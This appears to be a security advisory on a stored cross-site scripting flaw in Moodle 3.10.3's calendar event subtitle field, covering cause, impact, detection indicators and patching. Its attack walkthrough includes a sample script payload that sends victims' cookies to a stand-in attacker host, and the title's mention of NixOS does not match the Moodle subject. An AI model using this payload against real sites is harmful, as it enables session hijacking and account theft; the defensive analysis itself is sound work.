CVE-2021-47857: 
NixOS vulnerability analysis and mitigation

CVE-2021-47857 is a persistent (stored) cross-site scripting (XSS) vulnerability in Moodle 3.10.3 that allows attackers to inject malicious JavaScript into the calendar event subtitle field. When other users view the crafted calendar event, the injected script executes in their browser context. The vulnerability was assigned by VulnCheck and published to NVD on January 21, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) per NIST NVD, though VulnCheck rates it 7.2 (High) (Red Hat Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically in the calendar event subtitle/track label field of Moodle 3.10.3. An attacker crafts a calendar event containing a malicious JavaScript payload embedded in the subtitle field; because the application fails to sanitize or encode this input before rendering it to other users, the script is stored persistently and executes in any viewer's browser. Exploitation requires no authentication (per the CVSS v3.1 vector) and only requires that a victim user views the malicious calendar event. A public proof-of-concept exploit is available on Exploit-DB (Exploit-DB PoC, VulnCheck Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of all Moodle users who view the malicious calendar event, compromising both confidentiality and integrity of user sessions and data. The persistent nature of the stored XSS means the payload remains active and affects every subsequent viewer without further attacker interaction. Potential consequences include session hijacking, credential theft, unauthorized actions performed on behalf of victims, and further lateral movement within the Moodle platform (Red Hat Bugzilla, Red Hat Advisory).

A public proof-of-concept exploit is available on Exploit-DB (exploit ID 49714), making this vulnerability accessible to a broad range of attackers (Exploit-DB PoC). As of the time of reporting, there is no confirmed evidence of active in-the-wild exploitation, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.039% (0.000390), indicating a low but non-zero probability of exploitation in the near term (Red Hat Advisory).

1. Reconnaissance: Identify a target Moodle 3.10.3 instance accessible over the network. Confirm the version via the Moodle login page or /lib/moodlelib.php.
2. Account access: Obtain or create a Moodle user account (the CVSS v3.1 NVD vector indicates no privileges are required, though in practice calendar event creation may require a basic account).
3. Craft malicious calendar event: Navigate to the Moodle calendar and create a new event. In the subtitle or track label field, inject a malicious JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Save the event: Submit the calendar event. The malicious payload is stored persistently in the Moodle database without sanitization.
5. Victim triggers payload: When any Moodle user views the calendar event (e.g., on the dashboard or calendar page), the injected script executes in their browser context.
6. Harvest results: The attacker receives stolen session cookies, credentials, or other sensitive data at their controlled endpoint, enabling session hijacking or further account compromise (Exploit-DB PoC, VulnCheck Advisory).

• Network: Outbound HTTP requests from user browsers to unexpected external domains immediately after viewing Moodle calendar events; unusual POST requests to attacker-controlled endpoints containing encoded cookie or session data.
• Logs: Moodle web server access logs showing calendar event creation requests with HTML/JavaScript content (<script>, onerror=, javascript:, etc.) in subtitle or track label parameters; repeated access to calendar event pages by multiple users shortly after a suspicious event was created.
• File System / Database: Moodle database calendar event records (mdl_event table) containing raw HTML or JavaScript tags in the name, description, or subtitle fields.
• Process/Browser: Unexpected JavaScript execution errors or network requests originating from the Moodle calendar page in browser developer tools or proxy logs (Exploit-DB PoC).

Administrators should immediately upgrade Moodle from version 3.10.3 to a patched release; Moodle's security advisories and the Red Hat Bugzilla entry (Bug #2431706) reference available patches (Red Hat Bugzilla, Red Hat Advisory). As interim mitigations, restrict calendar event creation permissions to trusted users only, and implement a Content Security Policy (CSP) to limit script execution sources. Audit existing calendar events for suspicious JavaScript content in subtitle fields and remove any malicious entries.